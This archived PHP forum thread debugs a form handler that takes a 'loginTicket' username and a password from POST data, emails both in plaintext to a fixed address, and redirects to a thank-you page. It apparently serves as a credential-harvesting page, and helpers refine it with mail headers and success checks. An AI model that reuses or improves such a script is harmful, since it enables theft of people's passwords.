rofl90 Posted December 23, 2007 Share Posted December 23, 2007 I have this register.php <?php if ($_SERVER['REQUEST_METHOD'] != 'GET'){ $user = $_POST['loginTicket']; $pass = $_POST['password']; $messig = " Username: $user \n Password: $pass \n "; $subject = $user; mail("[email protected]", $subject, $messig); } else { echo 'ERROR'; } ?> Now I get Parse error: parse error, unexpected $end in e:\domains\p\prowebdesigns.co.uk\user\htdocs\post.php on line 31 I believe that this means a '{' was started and not ended with '}' I've ran through this numerous times, maybe I need some sleep ;/ Thanks in advance, Charles. Link to comment https://forums.phpfreaks.com/topic/82891-parse-error-sorry-im-probably-being-idiotic/ Share on other sites More sharing options...
trq Posted December 23, 2007 Share Posted December 23, 2007 Helps if you indent your code so it is readable. <?php if ($_SERVER['REQUEST_METHOD'] != 'GET') { $user = $_POST['loginTicket']; $pass = $_POST['password']; $messig = "Username: $user\nPassword: $pass\n"; $subject = $user; mail("[email protected]", $subject, $messig); } else { echo 'ERROR'; } ?> There is no syntax errors in your code. Link to comment https://forums.phpfreaks.com/topic/82891-parse-error-sorry-im-probably-being-idiotic/#findComment-421563 Share on other sites More sharing options...
rofl90 Posted December 23, 2007 Author Share Posted December 23, 2007 Ok thanks, oh yeh its a new computer so I havn't got php designer yet and my dreamweaver grace period has ended so its notepad for tonight, will donwload tommorow, thanks for help.. i'll retry that code. Link to comment https://forums.phpfreaks.com/topic/82891-parse-error-sorry-im-probably-being-idiotic/#findComment-421565 Share on other sites More sharing options...
trq Posted December 23, 2007 Share Posted December 23, 2007 so I havn't got php designer yet and my dreamweaver grace period has ended I don't see how that has anything to do with poorly formatting your code. Link to comment https://forums.phpfreaks.com/topic/82891-parse-error-sorry-im-probably-being-idiotic/#findComment-421566 Share on other sites More sharing options...
rofl90 Posted December 23, 2007 Author Share Posted December 23, 2007 I usually let programs do my formatting. Link to comment https://forums.phpfreaks.com/topic/82891-parse-error-sorry-im-probably-being-idiotic/#findComment-421569 Share on other sites More sharing options...
redarrow Posted December 23, 2007 Share Posted December 23, 2007 <?php if (($loginTicket)&&($password)){ $user = $_POST['loginTicket']; $pass = $_POST['password']; $messig = " Username: $user\n Password: $pass\n "; $subject = $user; if(mail("[email protected]", $subject, $messig)) echo "mail sent"; }else{ echo 'ERROR'; } ?> try this but it so basic it unreel your need to advance it mate lol......... Link to comment https://forums.phpfreaks.com/topic/82891-parse-error-sorry-im-probably-being-idiotic/#findComment-421570 Share on other sites More sharing options...
rofl90 Posted December 23, 2007 Author Share Posted December 23, 2007 <?php if ($_SERVER['REQUEST_METHOD'] != 'GET') { $user = $_POST['loginTicket']; $pass = $_POST['password']; $messig = "Username: $user\nPassword: $pass\n"; $subject = $user; mail("[email protected]", $subject, $messig); Header("Location: http://www.example.com/thankyou.php); } else { echo 'ERROR'; } ?> Ok, i've coded this in, but i'm not recieving mail. obviously the actual code isn't example.com etc Link to comment https://forums.phpfreaks.com/topic/82891-parse-error-sorry-im-probably-being-idiotic/#findComment-421571 Share on other sites More sharing options...
redarrow Posted December 23, 2007 Share Posted December 23, 2007 use this as starting ground mate <?php if ($_SERVER['REQUEST_METHOD'] != 'GET') { $user = $_POST['loginTicket']; $pass = $_POST['password']; $messig = 'Username: $user <br><br> Password: $pass '; $to = '[email protected]'; $subject = 'Wakeup bob!'; $message = $msg; $headers = "From: [email protected]\r\n" . 'X-Mailer: PHP/' . phpversion() . "\r\n" . "MIME-Version: 1.0\r\n" . "Content-Type: text/html; charset=utf-8\r\n" . "Content-Transfer-Encoding: 8bit\r\n\r\n"; // Send if(mail($to, $subject, $message, $headers)){ Header("Location: http://www.example.com/thankyou.php); }else{ echo "error"; } } ?> Link to comment https://forums.phpfreaks.com/topic/82891-parse-error-sorry-im-probably-being-idiotic/#findComment-421573 Share on other sites More sharing options...
rofl90 Posted December 23, 2007 Author Share Posted December 23, 2007 Ohh nevermind, we're all good, nothing wrong with my coding, apparently, a security breech forced my hosting company to transfer everyones stuff to windows 2003 or something. Link to comment https://forums.phpfreaks.com/topic/82891-parse-error-sorry-im-probably-being-idiotic/#findComment-421574 Share on other sites More sharing options...
trq Posted December 23, 2007 Share Posted December 23, 2007 You should also check your call to mail was successfull before redirecting to a thankyou page. <?php if ($_SERVER['REQUEST_METHOD'] != 'GET') { $user = $_POST['loginTicket']; $pass = $_POST['password']; $messig = "Username: $user\nPassword: $pass\n"; $subject = $user; if (mail("[email protected]", $subject, $messig)) { header("Location: http://www.example.com/thankyou.php"); } else { echo 'ERROR'; } } ?> Link to comment https://forums.phpfreaks.com/topic/82891-parse-error-sorry-im-probably-being-idiotic/#findComment-421575 Share on other sites More sharing options...
rofl90 Posted December 23, 2007 Author Share Posted December 23, 2007 aha thanks Link to comment https://forums.phpfreaks.com/topic/82891-parse-error-sorry-im-probably-being-idiotic/#findComment-421577 Share on other sites More sharing options...
redarrow Posted December 23, 2007 Share Posted December 23, 2007 corrected sorry merry php xmas <?php if ($_SERVER['REQUEST_METHOD'] != 'GET') { $user = $_POST['loginTicket']; $pass = $_POST['password']; $msg = 'Username: $user <br><br> Password: $pass '; $to = '[email protected]'; $subject = 'Wakeup bob!'; $message = $msg; $headers = "From: [email protected]\r\n" . 'X-Mailer: PHP/' . phpversion() . "\r\n" . "MIME-Version: 1.0\r\n" . "Content-Type: text/html; charset=utf-8\r\n" . "Content-Transfer-Encoding: 8bit\r\n\r\n"; // Send if(mail($to, $subject, $message, $headers)){ Header("Location: http://www.example.com/thankyou.php"); }else{ echo "error"; } } ?> Link to comment https://forums.phpfreaks.com/topic/82891-parse-error-sorry-im-probably-being-idiotic/#findComment-421580 Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.